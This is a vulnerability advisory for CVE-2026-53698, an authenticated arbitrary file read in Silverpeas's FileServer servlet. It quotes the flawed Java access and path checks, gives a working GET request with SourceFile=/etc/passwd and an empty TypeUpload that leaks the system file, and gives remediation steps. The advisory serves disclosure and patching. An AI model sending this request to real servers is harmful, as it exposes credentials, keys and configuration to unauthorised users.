CVE-2026-53698: Arbitrary File Read in Silverpeas

Summary

The FileServer servlet in Silverpeas through 6.4.6 treats the SourceFile parameter as an absolute filesystem path when TypeUpload is present and grants access when ComponentId is omitted. An authenticated user can combine these behaviors to read arbitrary files available to the application server process.

Field	Details
CVE	CVE-2026-53698
Weaknesses	CWE-22: Path Traversal; CWE-284: Improper Access Control
Affected versions	Through 6.4.6
Fixed version	6.4.7
Required access	Low-privilege authenticated account
Researcher CVSS 3.1	7.7 High; `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`
Researcher CVSS 4.0	8.3 High; `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`

The original research assessment uses changed scope and scores this issue 7.7 High under CVSS 3.1. The published CVE record currently uses an unchanged-scope vector and scores it 6.5 Medium.

Technical details

Three behaviors combine to expose an arbitrary file.

1. Omitting `ComponentId` bypasses the component check

FileServer passes the optional component identifier into isUserAllowed(). A missing value is treated as personal-space access and allowed without checking a component:

final String componentId = params.get(COMPONENT_ID_PARAMETER);

private boolean isUserAllowed(MainSessionController controller,
    String componentId) {
  boolean isAllowed;
  if (componentId == null) {
    // Personal space
    isAllowed = true;

An authenticated user can reach the file-serving path by leaving ComponentId out of the request.

2. `TypeUpload` changes `SourceFile` into an absolute path

The servlet creates a file descriptor from the request-controlled SourceFile. Merely including TypeUpload, even with an empty value, enables absolute-path mode:

String sourceFile = params.get(SOURCE_FILE_PARAMETER);

SilverpeasFileDescriptor descriptor =
    new SilverpeasFileDescriptor(componentId)
        .fileName(sourceFile)
        .mimeType(mimeType);

if (typeUpload != null) {
  descriptor.absolutePath();
}

The file provider then uses that value without prepending a Silverpeas data directory:

if (descriptor.isTemporaryFile()) {
  filePath = FileRepositoryManager.getTemporaryPath()
      + descriptor.getFilePath();
} else {
  if (descriptor.isAbsolutePath()) {
    filePath = descriptor.getFilePath();
  } else {
    filePath = FileRepositoryManager
        .getAbsolutePath(descriptor.getComponentInstanceId())
        + descriptor.getFilePath();
  }
}

3. The path check only looks for traversal sequences

The path guard rejects ../ and /.., but it does not reject paths that begin at the filesystem root:

public static void assertPathNotRelative(String path)
    throws RelativeFileAccessException {
  String unixPath = FilenameUtils.separatorsToUnix(path);
  if (unixPath != null &&
      (unixPath.contains("../") || unixPath.contains("/.."))) {
    throw new RelativeFileAccessException(...);
  }
}

/etc/passwd contains no traversal sequence, so it reaches the file provider and is streamed back to the user.

Reproduction

Sign in with a low-privilege account and send the following request. ComponentId is intentionally absent, and TypeUpload is present with an empty value:

GET /silverpeas/FileServer/file?SourceFile=/etc/passwd&TypeUpload= HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid-session>

The response contains the requested operating-system file:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename*=UTF-8''passwd
Content-Type: text/plain

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Authenticated FileServer request returning the contents of /etc/passwd — Reading /etc/passwd through FileServer

Impact

Any authenticated user can read files available to the Silverpeas operating-system account. Depending on the deployment, this can expose application configuration, database credentials, private keys, deployment secrets, application data, and operating-system files.

Remediation

Upgrade to Silverpeas 6.4.7 or later. File paths should be resolved below a server-selected data root. If absolute-path support must remain, it should be restricted to explicit server-side directories and authorized call paths. A missing ComponentId should not grant unconditional access, and relative-path validation should also reject absolute paths where only relative paths are expected.

Overview

Silverpeas

CVE-2026-53698: Arbitrary File Read in Silverpeas

Summary

Technical details

1. Omitting `ComponentId` bypasses the component check

2. `TypeUpload` changes `SourceFile` into an absolute path

3. The path check only looks for traversal sequences

Reproduction

Impact

Remediation

References

​Summary

​Technical details

​1. Omitting ComponentId bypasses the component check

​2. TypeUpload changes SourceFile into an absolute path

​3. The path check only looks for traversal sequences

​Reproduction

​Impact

​Remediation

​References

Summary

Technical details

1. Omitting `ComponentId` bypasses the component check

2. `TypeUpload` changes `SourceFile` into an absolute path

3. The path check only looks for traversal sequences

Reproduction

Impact

Remediation

References